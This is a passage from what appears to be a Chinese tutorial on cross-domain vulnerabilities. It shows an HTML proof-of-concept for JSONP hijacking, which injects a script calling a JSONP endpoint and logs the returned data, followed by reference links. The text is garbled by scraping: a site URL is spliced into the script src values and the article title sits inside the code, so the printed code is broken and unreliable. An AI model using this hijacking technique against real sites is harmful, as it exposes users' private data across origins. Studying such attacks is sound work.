跨域漏洞那些事儿(cors、jsonp)( 四 )


<meta charset="utf-8">
<style type="text/css">
table{
display:inline
}
</style>
</head>
<body>
<script src=https://www.isolves.com/it/aq/wl/2020-08-31/'https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js'>
<script type="text/javascript">
function callback(json){
console.log(json);
}
var s=document.createElement('script');
【跨域漏洞那些事儿(cors、jsonp)】s.type="text/javascript";
//漏洞可能存在点
s.src=https://www.isolves.com/it/aq/wl/2020-08-31/'http://127.0.0.1/jsonp.php?jsonp=callback';
document.body.appendChild(s);
</script>
</body>
</html>

跨域漏洞那些事儿(cors、jsonp)

文章插图
console.log获取到数据,说明存在该漏洞
参考链接:
https://blog.knownsec.com/2015/03/jsonp_security_technic/
https://mp.weixin.qq.com/s/SuEpF3RIZIv2CcIUok8SoQ
https://www.k0rz3n.com/2018/06/05/%E7%94%B1%E6%B5%85%E5%85%A5%E6%B7%B1%E7%90%86%E8%A7%A3JSONP%E5%B9%B6%E6%8B%93%E5%B1%95/




推荐阅读